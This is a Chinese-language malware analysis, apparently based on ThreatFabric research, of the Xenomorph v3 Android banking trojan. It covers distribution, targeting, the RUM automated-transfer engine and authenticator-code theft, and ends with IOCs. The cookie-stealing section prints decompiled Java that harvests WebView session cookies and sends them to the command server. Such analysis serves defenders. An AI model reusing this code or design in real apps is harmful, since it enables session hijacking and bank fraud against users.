去年,ThreatFabric 发现移动端的犯罪分子有了极大的调整。越来越多的犯罪分子开始关注手机银行领域,并且由粗放式的攻击转变为更精细化的、更专业化的攻击。
Hadoken 团伙开发的移动端恶意软件在整个 2022 年都持续活跃,而攻击者本人也在 2022 年 5 月显身表示拥有恶意软件的所有权。
地下论坛广告
该团伙的主要产品就是 Xenomorph 银行木马,最早在 2022 年 2 月被发现。该恶意软件家族持续活跃,但由于其攻击规模较小,从总体数量来看与其他恶意软件家族不能相提并论。
Xenomorph 的主要特点就是“快打快收”,通过 GymDrop 或者 Zombinder 进行短期快速分发。但最近研究人员发现的新变种 Xenomorph.C,可能要改变这一现状。
该版本的恶意软件为已经功能很完善的银行木马又增加了许多新功能。最为重要的就是引入了由辅助服务支撑的运行时引擎,通过该引擎实现完整的 ATS 框架。凭借这一更新,Xenomorph 完全吃透自动化欺诈链条,使其成为现如今最先进、最危险的安卓银行木马之一。
研究人员发现,Xenomorph 的攻击目标超过 400 家银行与各个类型的金融机构,甚至包括几个加密货币钱包。与之前的变种相比,攻击目标数量增长了六倍以上。
攻击者还为该银行木马开发了专用的广告网站,这表明攻击者有进入恶意软件即服务(MaaS)进行大规模分发的意图。
专用广告网站
分发
测试阶段
研究人员发现了部分测试阶段的样本文件,此时攻击者利用 Discord 进行分发。
滥用 Discord 进行分发
Discord 这种服务使用广泛且非常稳定,注册和使用都是免费的。最重要的是,安全服务不太可能将这些域名标记为可疑。研究人员认为此时可能并不用于分发,而只是用于文件共享。
实际分发
Xenomorph 的第一个变种由 GymDrop 在 2022 年 2 月开始分发,后来又尝试了 BugDrop 与 Zombinder。分析时,Xenomorph v3 由 Zombinder 应用程序分发,伪装成一个货币转换工具。
通过 Zombinder 进行分发
由于 Zombinder 的运营方已经宣布停止服务,未来 Xenomorph 可能还会转变分发方式。
攻击目标
2022 年,Xenomorph 特别关注西班牙、葡萄牙和意大利。在最近的攻击中又新增了比利时与加拿大,以及部分加密货币钱包。
研究人员发现带有 xeno3-test 标签的样本文件中,包含超过 400 个目标机构的里欸包,这是之前样本的六倍多。
攻击目标排行
根据标签推测,可能是测试版本的恶意样本,购买 MaaS 服务的用户可以在其中自由选择攻击目标。
攻击能力升级
2022 年 2 月时,Xenomorph 第一个变种尚且缺少大量的功能。2022 年 6 月,研究人员发现了新版本的 Xenomorph。新版本对代码进行了全面重构,引入了模块化的设计增加易用性。也是这时,Xenomorph 开始尝试引入由辅助服务支撑的运行时引擎,以便支持远程操作。
在 Xenomorph.C 变种中,犯罪分子增加了对完整 ATS 框架的支持,该引擎被攻击者命名为 RUM 引擎。
以下是 Xenomorph V3 支持的所有命令,新增命令加粗显示:
全部命令列表
ATS 框架
如前所述,ATS 可以帮助犯罪分子在失陷主机上自动完成欺诈交易。该技术能够支持自动提取凭据、账户余额、启动交易、获取双因子认证 Token 并完成资金转账,完全无需人工操作。
相关信息通过 JSON 格式接收,示例如下所示:
{
"module": "<MODULE_NAME>",
"version": 1,
"parameters": [...], // LIST OF PARAMETERS
"requires": [...], // LIST OF REQUIRED CONDITIONS
"triggerConditions": [...], // LIST OF TRIGGER CONDITIONS
"terminator": {...}, // IS TERMINATOR ENABLED
"operations": [...] // LIST OF OPERATIONS TO BE EXECUTED (ATS)
}
Xenomorph 开发的 RUM 引擎相当优秀,还支持条件执行与动作优先级排序。接下来以从 Google 身份验证器中提取 MFA 代码为例,讲解该引擎的功能。
许多银行正在慢慢放弃使用短信来进行多因子认证,而使用身份验证器来作为替代。但此类应用程序通常和进行交易的应用程序都在同一台设备上,这就为攻击者的欺诈交易提供了可乘之机。
只要恶意软件启动身份验证器应用程序,就会触发代码收集模块。而触发条件配置十分灵活,如下所示:
ATS 触发条件
RUM 引擎提供了大量可自定义的选项,包括各种逻辑运算符。这让犯罪分子能够在各种情况下游刃有余地进行应对,从而提高每次的感染成功率。
恶意软件会提取遵循特定结构的代码,例如两组三位数字的身份验证码:
窃取身份验证码
这只是 ATS 的冰山一角,完整的动作列表如下所示:
全部动作列表
利用这些基础的动作,攻击者可以很容易地创建一个脚本来提取账户余额等信息,完整欺诈交易。
窃取 Cookie
Xenomorph 的最新版本还新增了窃取 Cookie 的功能。最初是 SOVA 银行木马在 2021 年 9 月引入该功能,后续各个恶意软件也不断在模仿。
Xenomorph 启动启用 JavaScript 接口的浏览器,恶意软件使用此浏览器向受害者显示目标页面,诱骗用户登录后窃取 Cookie。
Cookie 窃取
用户成功登录后,浏览器将使用 Android CookieManager 提取 Cookie 并回传给 C&C 服务器。从恶意软件控制的浏览器中获取 Cookie 的代码如下所示:
WebView webView0 = new WebView(this);
this.wv = webView0;
webView0.getSettings().setJavaScriptEnabled(true);
this.wv.setWebViewClient(new WebViewClient() {
@Override // android.webkit.WebViewClient
public void onPageFinished(WebView webView0, String s) {
String s1 = CookieManager.getInstance().getCookie(s);
String[] arr_s = CookieManager.getInstance().getCookie(s).replace(";", "").split(" ");
if(s1.contains("sessionid")) {
try {
JSONObject jSONObject0 = new JSONObject();
for(int v = 0; v < arr_s.length; ++v) {
String[] arr_s1 = arr_s[v].split("=");
jSONObject0.put(arr_s1[0], arr_s1[1]);
new StringBuilder().append("cookie is = ").append(jSONObject0).toString();
}
UtilGlobal.sendCookies(jSONObject0.toString());
}
catch(Exception exception0) {
UtilGlobal.sendCookies("cookiesGrabbingFailed");
new StringBuilder().append("Cookie Grabber Error: ").append(exception0.getMessage()).toString();
}
return;
}
}
});
this.wv.addJavascriptInterface(new WebAppInterface(this), "Android");
this.wv.loadUrl("$rstr[CURD]");
this.setContentView(this.wv);
结论
浮出水面的 Xenomorph 再一次证实了攻击者正在将注意力转移到移动恶意软件上。最新版本的 Xenomorph 包含了对其之前版本的重大改进,增加了 ATS 功能进一步提升了该家族的威胁级别。
从感染到数据泄露,Xenomorph v3 能够执行完整的欺诈链。运营 Xenomorph 的攻击者也在积极宣传该恶意软件,非常想要扩大该恶意软件的影响范围。研究人员预计 Xenomorph 恶意软件的数量还会增长,可能通过 Google Play 再次分发。
IOC
15e3c87290957590dbaf4522645e92933b8f0187007468045a5bd102c47ea0f4
9ce2ad40f3998860ca1ab21d97ea7346bf9d26ff867fc69c4d005c477c67a899
88d3cb485f405a6cec9d14e9ee2865491855897bfc9a958c0e7c06485a074d02
team[.]mi1kyway.tech
vldeolan[.]com
cofi[.]hk
dedeperesere[.]xyz
inj.had0[.]live
jobviewer[.]co